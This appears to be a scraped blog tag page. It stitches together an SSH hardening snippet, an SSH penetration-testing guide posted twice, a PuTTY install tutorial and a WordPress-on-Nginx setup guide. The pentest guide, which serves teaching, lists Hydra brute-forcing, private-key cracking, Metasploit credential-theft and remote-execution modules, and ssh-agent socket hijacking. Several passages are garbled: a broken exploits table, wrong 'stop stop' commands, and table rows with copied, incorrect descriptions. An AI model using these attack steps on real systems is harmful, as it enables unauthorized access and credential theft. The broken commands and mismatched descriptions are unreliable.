This restricts access for certain types of MACs, KexAlgorithms & Ciphers for sshd_config cat >>/etc/ssh/sshd_config <<EOF Ciphers aes128-ctr,aes192-ctr,aes256-ctr MACs hmac-ripemd160,hmac-sha2-256,hmac-sha2-512 KexAlgorithms…
View On WordPress
0 notes
nixcraft · 6 years ago
Link
4 notes · View notes
offensivewireless · 1 year ago
Text
SSH Penetration Testing: A Comprehensive Guide
Tumblr media
Welcome to our comprehensive guide on SSH Penetration Testing. In this blog post, we will delve into the technical aspects of SSH Pentesting, providing you with valuable insights and strategies to ensure the security of your systems. Let's get started with this in-depth exploration of SSH Penetration Testing. Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities. SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly. SSH IntroductionManaging SSH Service SSH Interesting Files SSH Authentication Types SSH Hacking Tools 1. SSH EnumerationSSH Banner Grabber SSH Servers List Detect SSH Authentication Type Detect remote users 2. SSH ExploitationBruteforce SSH Service Crack SSH Private Keys Default Credentials SSH Bad Keys SSH Exploits SSH and ShellShock Openssh 8.2 p1 exploit 3. SSH Post Exploitation - Pentest SSHSSH Persistence SSH Lateral Movement Search SSH Key files Search SSH Key files inside file content SSH Hijacking F.A.QWhat is SSH Penetration Testing? What are the standard SSH Penetration Testing techniques? What is the purpose of SSH Penetration Testing? Can SSH Penetration Testing be performed without permission? What should be done after SSH Penetration Testing? How do I test my SSH connection? Is SSH port vulnerable? What is the vulnerability of port 22? SSH Introduction Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host. Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely. SSH Penetration Testing Fundamentals SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind! One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure. Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins. Managing SSH Service Verify SSH Server Status systemctl status ssh Start SSH Service systemctl start ssh Stop SSH Service systemctl stop stop Restart SSH Service systemctl restart stop Define SSH server to start on boot systemctl enable ssh SSH Interesting Files When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker. Client Config SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file: vi /etc/ssh/ssh_config Server Config This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks. vi /etc/ssh/sshd_config Recommendation: Active tunnel settings and agent relay, help you with lateral movement. Authorized Keys This file contains the public keys that are authorized to access a user's account, which can be targeted by an attacker to gain unauthorized access. vi /etc/ssh/authorized_keys Known Hosts cat /home/rfs/.ssh/known_hosts RSA Keys Default folder containing cd ~/.ssh cd /home/rfs/.ssh SSH Authentication Types Authentication TypeDescriptionPassword AuthenticationUsers enter a password to authenticate. This is the most common method but may pose security risks if weak passwords are used.Public Key AuthenticationUses a pair of cryptographic keys, a public key, and a private key. The public key is stored on the server, and the private key is kept securely on the client. Offers strong security and is less susceptible to brute-force attacks.Keyboard-Interactive AuthenticationAllows for a more interactive authentication process, including methods like challenge-response. Often used for multi-factor authentication (MFA) where users need to respond to dynamic challenges.Host-Based AuthenticationAuthenticates based on the host system rather than individual users. It relies on the client system's host key and the server's configuration. This method is less secure and not widely recommended.Certificate-Based AuthenticationInvolves using two or more authentication methods, such as a combination of passwords, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.Multi-Factor Authentication (MFA)Involves using two or more authentication methods, such as a combination of password, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.SSH Authentication Types Ok, let's talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually. Some questions to ask before starting to enumerate - Is there any SSH server running? - On what Port? - What version is running? - Any Exploit to that version? - What authentication type is used? Passwords / RSA Keys - It is blocking brute force? After we have all the answers we can start thinking about what to do, If don't have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits. Damn it, we are stuck :/ It's time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom. Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In! Haha is not so easy, but OK, we are learning... SSH Hacking Tools Tool NameDescriptionUsageHydraPassword cracking tool for various protocols, including SSHBrute-force attacks on SSH passwordsNmapNetwork scanning tool that can identify open SSH portsUsed for reconnaissance on target systemsMetasploitFramework with various modules, including those for SSH exploitationExploiting vulnerabilities in SSH servicesJohn the RipperPassword cracking tool for various password hashesUsed to crack SSH password hashesWiresharkNetwork protocol analyzerCaptures and analyzes SSH trafficSSHDumpSniffing tool for capturing SSH trafficMonitors and captures SSH packetsSSH Hacking tools 1. SSH Enumeration During the enumeration process, cybersecurity professionals seek to gather details such as active SSH hosts, supported algorithms, version information, and user accounts. This information becomes instrumental in performing a thorough security analysis, enabling practitioners to identify potential weaknesses and implement necessary measures to fortify the SSH implementation against unauthorized access and exploitation. After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version, we can use Nmap. nmap -sV -p22 192.168.1.96 SSH Banner Grabber Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it. Banner grabbing can be useful for several reasons, including: - Identifying the version and type of SSH server: This information can be used to determine if the SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used. - Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information. - Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server. Several tools can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed. nc 192.168.1.96 22 If we try to connect using the verbose parameter we can check all the information necessary to authenticate on the remote server. ssh -v 192.168.1.96 SSH Servers List SSH ServerDescriptionURLOpenSSHOpen-source SSH server widely used in Unix-like operating systemsOpenSSHDropbearLightweight and efficient SSH server primarily designed for embedded systemsDropbearBitvise SSH ServerSSH server for Windows with additional features like remote administrationBitviseTectia SSH ServerCommercial SSH server solution by SSH Communications SecurityTectiaProFTPD with mod_sftpFTP server with SFTP support using mod_sftpProFTPDSSH Servers List Detect SSH Authentication Type To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH. Here's how you can check the SSH authentication type on a Linux system: - Open the system log file at /var/log/auth.log using your preferred text editor. - Search for the line that contains the user login information you want to check. - Look for the "Accepted" keyword in the line, which indicates that the authentication was successful. ssh -v 192.168.1.96 SSH authentication types Detect remote users msfconsole msf> use auxiliary/scanner/ssh/ssh_enumusers 2. SSH Exploitation At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra. Bruteforce SSH Service hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96 crackmapexec ssh -U user -P passwd.lst 192.168.1.96 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.1.96 set user_file user.txt set pass_file password.txt run Crack SSH Private Keys ssh2john id_rsa.priv hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py Default Credentials https://github.com/PopLabSec/SSH-default-Credentials SSH Bad Keys Some embedded devices have static SSH keys, you can find a collection of keys here: https://github.com/poplabdev/ssh-badkeys SSH Exploits VersionExploitOpenSSH set session 1 msf post(sshkey_persistence) >exploit SSH User Code Execution msf > use exploit/multi/ssh/sshexec msf exploit(sshexec) >set rhosts 192.168.1.103 msf exploit(sshexec) >set username rfs msf exploit(sshexec) >set password poplabsec msf exploit(sshexec) >set srvhost 192.168.1.107 msf exploit(sshexec) >exploit SSH Lateral Movement Lateral movement aims to extend an attacker's reach, enabling them to traverse laterally across a network, escalating privileges and accessing sensitive resources. Read more about Pivoting using SSH Steal SSH credentials If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine. use post/multi/gather/ssh_creds msf post(ssh_creds) > set session 1 msf post(ssh_creds) > exploit Search SSH Key files find / -name *id_rsa* 2>/dev/null Search SSH Key files inside file content find / -name *id_rsa* 2>/dev/null SSH Hijacking Find the SSHd process ps uax|grep sshd # Attacker looks for the SSH_AUTH_SOCK on victim's environment variables grep SSH_AUTH_SOCK /proc//environ Attacker hijack's victim's ssh-agent socket SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l An attacker can log in to remote systems as the victim ssh 192.168.1.107 -l victim SSH Tunnels SSH tunnels serve as a powerful and secure mechanism for establishing encrypted communication channels within computer networks. Operating on the foundation of the Secure Shell (SSH) protocol, SSH tunnels create a secure conduit for data transfer and communication between local and remote systems. Tunnel TypeDescriptionUse CaseLocal Port ForwardingForwards traffic from a local port to a remote destination through the SSH serverSecurely access services on a remote server from the local machineRemote Port ForwardingForwards traffic from a remote port to a local destination through the SSH serverExpose a local service to a remote server securelyDynamic Port ForwardingCreates a dynamic SOCKS proxy on the local machine, allowing multiple connections to pass through the SSH tunnelBrowsing the internet securely and anonymously through the SSH tunnelX11 ForwardingEnables secure forwarding of graphical applications from a remote server to the local machineRunning graphical applications on a remote server and displaying them locallyTunneling for File TransferFacilitates secure file transfer by tunneling FTP or other protocols through the SSH connectionSecurely transfer files between systems using non-secure protocols SSH Logs To view SSH-related logs, you can use the grep command to filter out SSH entries. grep sshd /var/log/auth.log Or for systems using cat var/log/secure grep sshd /var/log/secure Working with RSA Keys List of Tools that use SSH Tool NameDescriptionSCP (Secure Copy)Command-line tool for securely copying files between local and remote systems using SSHSFTP (Secure FTP)File transfer protocol that operates over SSH, providing secure file access, transfer, and managementrsyncUtility for efficiently syncing files and directories between systems, often used with SSH for secure synchronizationGitDistributed version control system, supports SSH for secure repository access and managementAnsibleAutomation tool for configuration management and application deployment, uses SSH for communication with remote hostsPuTTYAutomation tool for configuration management and application deployment uses SSH for communication with remote hostsWinSCPWindows-based open-source SFTP, FTP, WebDAV, and SCP client for secure file transferCyberduckLibre and open-source client for FTP, SFTP, WebDAV, Amazon S3, and more, with SSH supportMobaXtermEnhanced terminal for Windows with X11 server, tabbed SSH client, and various network toolsTerminus (formerly Pantheon Terminus)Windows-based terminal emulator supports SSH for secure remote access to Unix-like systems FTP Penetration Testing RDP Penetration Testing SMB Penetration Testing PostgreSQL Penetration Testing F.A.Q What is SSH Penetration Testing?SSH Penetration Testing is the process of testing and identifying vulnerabilities in the Secure Shell (SSH) protocol implementation, configuration, and access control. It involves various attacks to determine if a system is vulnerable to unauthorized access, data theft, or system compromise.What are the standard SSH Penetration Testing techniques?Common SSH Penetration Testing techniques include password guessing, SSH banner grabbing, protocol fuzzing, denial of service (DoS) attacks, man-in-the-middle (MITM) attacks, key-based authentication, and configuration errors.What is the purpose of SSH Penetration Testing?The purpose of SSH Penetration Testing is to identify security weaknesses in the SSH protocol implementation, configuration, and access control, and to help organizations improve their security posture by addressing identified vulnerabilities.Can SSH Penetration Testing be performed without permission?No, SSH Penetration Testing should not be performed without proper authorization. Unauthorized penetration testing is illegal and can lead to serious legal consequences.What should be done after SSH Penetration Testing?After SSH Penetration Testing, all identified vulnerabilities should be documented and reported to the system owner or administrator. The system owner should take appropriate measures to address identified vulnerabilities and improve the security of the system. Read the full article
0 notes
poplabsec · 1 year ago
Text
SSH Penetration Testing: A Comprehensive Guide
Tumblr media
Welcome to our comprehensive guide on SSH Penetration Testing. In this blog post, we will delve into the technical aspects of SSH Pentesting, providing you with valuable insights and strategies to ensure the security of your systems. Let's get started with this in-depth exploration of SSH Penetration Testing. Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities. SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly. SSH IntroductionManaging SSH Service SSH Interesting Files SSH Authentication Types SSH Hacking Tools 1. SSH EnumerationSSH Banner Grabber SSH Servers List Detect SSH Authentication Type Detect remote users 2. SSH ExploitationBruteforce SSH Service Crack SSH Private Keys Default Credentials SSH Bad Keys SSH Exploits SSH and ShellShock Openssh 8.2 p1 exploit 3. SSH Post Exploitation - Pentest SSHSSH Persistence SSH Lateral Movement Search SSH Key files Search SSH Key files inside file content SSH Hijacking F.A.QWhat is SSH Penetration Testing? What are the standard SSH Penetration Testing techniques? What is the purpose of SSH Penetration Testing? Can SSH Penetration Testing be performed without permission? What should be done after SSH Penetration Testing? How do I test my SSH connection? Is SSH port vulnerable? What is the vulnerability of port 22? SSH Introduction Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host. Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely. SSH Penetration Testing Fundamentals SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind! One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure. Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins. Managing SSH Service Verify SSH Server Status systemctl status ssh Start SSH Service systemctl start ssh Stop SSH Service systemctl stop stop Restart SSH Service systemctl restart stop Define SSH server to start on boot systemctl enable ssh SSH Interesting Files When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker. Client Config SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file: vi /etc/ssh/ssh_config Server Config This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks. vi /etc/ssh/sshd_config Recommendation: Active tunnel settings and agent relay, help you with lateral movement. Authorized Keys This file contains the public keys that are authorized to access a user's account, which can be targeted by an attacker to gain unauthorized access. vi /etc/ssh/authorized_keys Known Hosts cat /home/rfs/.ssh/known_hosts RSA Keys Default folder containing cd ~/.ssh cd /home/rfs/.ssh SSH Authentication Types Authentication TypeDescriptionPassword AuthenticationUsers enter a password to authenticate. This is the most common method but may pose security risks if weak passwords are used.Public Key AuthenticationUses a pair of cryptographic keys, a public key, and a private key. The public key is stored on the server, and the private key is kept securely on the client. Offers strong security and is less susceptible to brute-force attacks.Keyboard-Interactive AuthenticationAllows for a more interactive authentication process, including methods like challenge-response. Often used for multi-factor authentication (MFA) where users need to respond to dynamic challenges.Host-Based AuthenticationAuthenticates based on the host system rather than individual users. It relies on the client system's host key and the server's configuration. This method is less secure and not widely recommended.Certificate-Based AuthenticationInvolves using two or more authentication methods, such as a combination of passwords, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.Multi-Factor Authentication (MFA)Involves using two or more authentication methods, such as a combination of password, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.SSH Authentication Types Ok, let's talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually. Some questions to ask before starting to enumerate - Is there any SSH server running? - On what Port? - What version is running? - Any Exploit to that version? - What authentication type is used? Passwords / RSA Keys - It is blocking brute force? After we have all the answers we can start thinking about what to do, If don't have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits. Damn it, we are stuck :/ It's time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom. Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In! Haha is not so easy, but OK, we are learning... SSH Hacking Tools Tool NameDescriptionUsageHydraPassword cracking tool for various protocols, including SSHBrute-force attacks on SSH passwordsNmapNetwork scanning tool that can identify open SSH portsUsed for reconnaissance on target systemsMetasploitFramework with various modules, including those for SSH exploitationExploiting vulnerabilities in SSH servicesJohn the RipperPassword cracking tool for various password hashesUsed to crack SSH password hashesWiresharkNetwork protocol analyzerCaptures and analyzes SSH trafficSSHDumpSniffing tool for capturing SSH trafficMonitors and captures SSH packetsSSH Hacking tools 1. SSH Enumeration During the enumeration process, cybersecurity professionals seek to gather details such as active SSH hosts, supported algorithms, version information, and user accounts. This information becomes instrumental in performing a thorough security analysis, enabling practitioners to identify potential weaknesses and implement necessary measures to fortify the SSH implementation against unauthorized access and exploitation. After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version, we can use Nmap. nmap -sV -p22 192.168.1.96 SSH Banner Grabber Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it. Banner grabbing can be useful for several reasons, including: - Identifying the version and type of SSH server: This information can be used to determine if the SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used. - Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information. - Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server. Several tools can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed. nc 192.168.1.96 22 If we try to connect using the verbose parameter we can check all the information necessary to authenticate on the remote server. ssh -v 192.168.1.96 SSH Servers List SSH ServerDescriptionURLOpenSSHOpen-source SSH server widely used in Unix-like operating systemsOpenSSHDropbearLightweight and efficient SSH server primarily designed for embedded systemsDropbearBitvise SSH ServerSSH server for Windows with additional features like remote administrationBitviseTectia SSH ServerCommercial SSH server solution by SSH Communications SecurityTectiaProFTPD with mod_sftpFTP server with SFTP support using mod_sftpProFTPDSSH Servers List Detect SSH Authentication Type To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH. Here's how you can check the SSH authentication type on a Linux system: - Open the system log file at /var/log/auth.log using your preferred text editor. - Search for the line that contains the user login information you want to check. - Look for the "Accepted" keyword in the line, which indicates that the authentication was successful. ssh -v 192.168.1.96 SSH authentication types Detect remote users msfconsole msf> use auxiliary/scanner/ssh/ssh_enumusers 2. SSH Exploitation At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra. Bruteforce SSH Service hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96 crackmapexec ssh -U user -P passwd.lst 192.168.1.96 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.1.96 set user_file user.txt set pass_file password.txt run Crack SSH Private Keys ssh2john id_rsa.priv hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py Default Credentials https://github.com/PopLabSec/SSH-default-Credentials SSH Bad Keys Some embedded devices have static SSH keys, you can find a collection of keys here: https://github.com/poplabdev/ssh-badkeys SSH Exploits VersionExploitOpenSSH set session 1 msf post(sshkey_persistence) >exploit SSH User Code Execution msf > use exploit/multi/ssh/sshexec msf exploit(sshexec) >set rhosts 192.168.1.103 msf exploit(sshexec) >set username rfs msf exploit(sshexec) >set password poplabsec msf exploit(sshexec) >set srvhost 192.168.1.107 msf exploit(sshexec) >exploit SSH Lateral Movement Lateral movement aims to extend an attacker's reach, enabling them to traverse laterally across a network, escalating privileges and accessing sensitive resources. Read more about Pivoting using SSH Steal SSH credentials If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine. use post/multi/gather/ssh_creds msf post(ssh_creds) > set session 1 msf post(ssh_creds) > exploit Search SSH Key files find / -name *id_rsa* 2>/dev/null Search SSH Key files inside file content find / -name *id_rsa* 2>/dev/null SSH Hijacking Find the SSHd process ps uax|grep sshd # Attacker looks for the SSH_AUTH_SOCK on victim's environment variables grep SSH_AUTH_SOCK /proc//environ Attacker hijack's victim's ssh-agent socket SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l An attacker can log in to remote systems as the victim ssh 192.168.1.107 -l victim SSH Tunnels SSH tunnels serve as a powerful and secure mechanism for establishing encrypted communication channels within computer networks. Operating on the foundation of the Secure Shell (SSH) protocol, SSH tunnels create a secure conduit for data transfer and communication between local and remote systems. Tunnel TypeDescriptionUse CaseLocal Port ForwardingForwards traffic from a local port to a remote destination through the SSH serverSecurely access services on a remote server from the local machineRemote Port ForwardingForwards traffic from a remote port to a local destination through the SSH serverExpose a local service to a remote server securelyDynamic Port ForwardingCreates a dynamic SOCKS proxy on the local machine, allowing multiple connections to pass through the SSH tunnelBrowsing the internet securely and anonymously through the SSH tunnelX11 ForwardingEnables secure forwarding of graphical applications from a remote server to the local machineRunning graphical applications on a remote server and displaying them locallyTunneling for File TransferFacilitates secure file transfer by tunneling FTP or other protocols through the SSH connectionSecurely transfer files between systems using non-secure protocols SSH Logs To view SSH-related logs, you can use the grep command to filter out SSH entries. grep sshd /var/log/auth.log Or for systems using cat var/log/secure grep sshd /var/log/secure Working with RSA Keys List of Tools that use SSH Tool NameDescriptionSCP (Secure Copy)Command-line tool for securely copying files between local and remote systems using SSHSFTP (Secure FTP)File transfer protocol that operates over SSH, providing secure file access, transfer, and managementrsyncUtility for efficiently syncing files and directories between systems, often used with SSH for secure synchronizationGitDistributed version control system, supports SSH for secure repository access and managementAnsibleAutomation tool for configuration management and application deployment, uses SSH for communication with remote hostsPuTTYAutomation tool for configuration management and application deployment uses SSH for communication with remote hostsWinSCPWindows-based open-source SFTP, FTP, WebDAV, and SCP client for secure file transferCyberduckLibre and open-source client for FTP, SFTP, WebDAV, Amazon S3, and more, with SSH supportMobaXtermEnhanced terminal for Windows with X11 server, tabbed SSH client, and various network toolsTerminus (formerly Pantheon Terminus)Windows-based terminal emulator supports SSH for secure remote access to Unix-like systems FTP Penetration Testing RDP Penetration Testing SMB Penetration Testing PostgreSQL Penetration Testing F.A.Q What is SSH Penetration Testing?SSH Penetration Testing is the process of testing and identifying vulnerabilities in the Secure Shell (SSH) protocol implementation, configuration, and access control. It involves various attacks to determine if a system is vulnerable to unauthorized access, data theft, or system compromise.What are the standard SSH Penetration Testing techniques?Common SSH Penetration Testing techniques include password guessing, SSH banner grabbing, protocol fuzzing, denial of service (DoS) attacks, man-in-the-middle (MITM) attacks, key-based authentication, and configuration errors.What is the purpose of SSH Penetration Testing?The purpose of SSH Penetration Testing is to identify security weaknesses in the SSH protocol implementation, configuration, and access control, and to help organizations improve their security posture by addressing identified vulnerabilities.Can SSH Penetration Testing be performed without permission?No, SSH Penetration Testing should not be performed without proper authorization. Unauthorized penetration testing is illegal and can lead to serious legal consequences.What should be done after SSH Penetration Testing?After SSH Penetration Testing, all identified vulnerabilities should be documented and reported to the system owner or administrator. The system owner should take appropriate measures to address identified vulnerabilities and improve the security of the system. Read the full article
0 notes
nkcroft · 4 years ago
Text
Ubuntu 사용자 SSH 포트 설정하기
Env. GCE/Ubuntu20.04LTS
현재 운용중인 SSH포트 확���하기
netstat -anp | grep "LISTEN " | grep 22
SSH 포트 변경하기
sudo vi /etc/ssh/sshd_config # PORT=22
sshd 서비스 재시작
sudo service sshd restart
gcloud ssh access command
gcloud compute ssh [instance_name] --ssh-flag="-p [ssh_port]"
1 note · View note
rozikfarrah · 5 years ago
Text
How to Install PuTTY on Ubuntu Linux
Tumblr media
Introduction
PuTTY is a popular terminal emulator for Windows, but it is not only limited to Windows operating system. Being free and open source, it is popular among Linux users too.
PuTTY supports a wide range of protocols such as serial, SSH, Telnet, rlogin, SCP, SFTP etc. PuTTY is used by seasoned sysadmins and hobbyists/maker-crowd alike.
PuTTY ships with a command line tool named “psftp”, the PuTTY SFTP client, which is used to securely transfer files between computers over an SSH connection.
Sysadmins generally use PuTTY as an SSH and telnet client whereas the Maker community widely uses PuTTY for interfacing with the serial ports on their hardware.
The simplest way to install PuTTY in Ubuntu Linux is via terminal i.e, the command line. 
Follow the steps below to install PuTTY on Ubuntu.
Step 1 
Login into Ubuntu Desktop. Press Ctrl + Atl + T to open GNOME terminal. If for some reason the shortcut didn’t work, run the Terminal from the Ubuntu Dash.
Step 2
 Run the following command in the terminal.
>> sudo apt-get update
Tumblr media
This command updates the Ubuntu package list with latest one. If this command is skipped, there is a good chance that Ubuntu might install older version of the softwares instead of the latest version due to the fact that it only had the older list with older version of softwares.
So, whenever installing new software or intending to upgrade the software versions, it is a good idea to run this command first. 
The sudo prefix at the start of the command instructs the terminal to run the command as root since installing and upgrading softwares is a privilege operation and should not be performed by users which do not have sufficient access. 
Provide the user password when prompted by sudo and hit Enter.
Step 3
Install PuTTY using the command below.
>> Sudo apt-get install -y putty
Tumblr media
Step 4
PuTTY should be installed. Run it from the terminal using “putty” as a command, or from the Dash. 
>> putty
Tumblr media
As visible in the PuTTY screenshot above, it provides a range of connection types to choose from Raw, Telnet, Rlogin, SSH, and Serial. 
It also ships with command-line tools for SCP (pscp), SFTP (psftp), RSA and DSA key generator (putty keygen), etc, which can be run from the terminal.
Connecting to Ubuntu Server using SSH Keys and Putty:
This tutorial shows you how to connect to your Ubuntu server using ssh with keys. The advantage is that you can connect to your server without passwords. .
First, install an SSH server on the server if not already installed:
sudo apt-get install ssh Open SSH-server
For increased security change the SSH port to something else (Eg. 2222) by editing /etc/ssh/sshd_config (optional). The default port (22) would work as well. sudo nano /etc/ssh/sshd_config
Save and restart the server:
sudo /etc/init.d/ssh restart
Then navigate to the following folder:
cd ~/.ssh
Generate a pair of keys:
ssh-keygen -t dsa
You could also use "RSA" instead of "dsa". When asked for a file name you may provide a file name for the keys (Eg. passkey) or just press enter for default naming.
 You may also choose to enter a passphrase for increased security (recommended). However, remember that you will have to enter this passphrase every time to connect to the ssh server.
Then create a key file as described below and set its permissions:
touch authorized_keys chmod 600 authorized_keys
Then add the public key (Eg. passkey.pub) to the key file:
cat passkey.pub >> authorized_keys
Then for security remove the passkey.pub from the server. Now login to your other computer and move the other key (Eg. passkey) to this computer. In Ubuntu, 
you can copy the private key (passkey) to the .ssh folder in your home directory. In Windows, you can copy it to any folder. 
In Ubuntu/Linux edit ~/.ssh/config file to use the private key for connections. 
In Windows, use PuTTYgen.exe to load the passkey to generate a private key file. Use this key file while connecting to a remote ssh server using Putty.
1 note · View note
linuxscoop · 5 years ago
Video
youtube
How to Install Wordpress With Nginx on Debian 10 VPS
This video shows you how to install WordPress with Nginx on Debian 10 VPS.
============================== INITIAL SERVER SETUP DEBAIN 10 ============================== Login to Server: ssh root@your_server_ip
apt update -y && apt upgrade -y
adduser debian
usermod -a -G sudo debian
Configure SSH : nano /etc/ssh/sshd_config
Add and change the information: Port 22500 Protocol 2 PermitRootLogin no
Add to End of File : UseDNS no AllowUsers debian
Save and Close
Restart SSH service: systemctl restart ssh.service
Logout:
Ctrl+D
Login using user with sudo privilages: ssh -p 22500 user@ip_address
============================== INSTALL NGINX, PHP AND MARIADB ============================== Install Nginx, MariaDB, PHP, and other PHP modules : sudo apt install nginx mariadb-server mariadb-client php-cgi php-common php-fpm php-pear php-mbstring php-zip php-net-socket php-gd php-xml-util php-gettext php-mysql php-bcmath unzip wget git curl -y
Open the php.ini file: sudo nano /etc/php/7.3/fpm/php.ini
Make the following changes: post_max_size = 64M memory_limit = 256M max_execution_time = 300 upload_max_filesize = 32M date.timezone = America/Chicago //optional
Save and Close : Ctrl O+X
Restart PHP-FPM service: sudo systemctl restart php7.3-fpm.service
============================== CONFIGURE NGINX FOR WORDPRESS ============================== Create root directory: sudo mkdir /var/www/domain
sudo nano /etc/nginx/sites-available/domain.name
------------------------------ server {        listen 80;        root /var/www/linuxscoop.cc;        index index.php;        server_name domain.name www.domain.name;
       access_log /var/log/nginx/domain.name_access.log;        error_log /var/log/nginx/domain.name_error.log;
       client_max_body_size 64M;      location = /favicon.ico {         log_not_found off;         access_log off;      }
    location = /robots.txt {       allow all;       log_not_found off;       access_log off;  }
       location / {                try_files $uri $uri/ /index.php?$args;                }
       location ~ \.php$ {                try_files $uri =404;                include /etc/nginx/fastcgi_params;                fastcgi_read_timeout 3600s;                fastcgi_buffer_size 128k;                fastcgi_buffers 4 128k;                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;                fastcgi_pass unix:/run/php/php7.3-fpm.sock;                fastcgi_index index.php;                }      location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {            expires max;           log_not_found off;     }      } ------------------------------ sudo nginx -t sudo ln -s /etc/nginx/sites-available/domain.name.conf /etc/nginx/sites-enabled/ sudo systemctl restart nginx.service sudo systemctl restart php7.3-fpm.service
============================== CONFIGURE A WORDPRESS DATABASE ============================== sudo mysql_secure_installation
mysql -u root -p
CREATE DATABASE dbwordpress DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;
GRANT ALL ON dbwordpress.* TO 'wpuser'@'localhost' IDENTIFIED BY '5tR0n6p@s5WorD';
FLUSH PRIVILEGES;
EXIT;
============================== INSTALL WORDPRESS ============================== cd /tmp wget https://wordpress.org/latest.tar.gz tar -xvzf latest.tar.gz cd wordpress cp /tmp/wordpress/wp-config-sample.php /tmp/wordpress/wp-config.php sudo cp -av wordpress/. /var/www/domain/
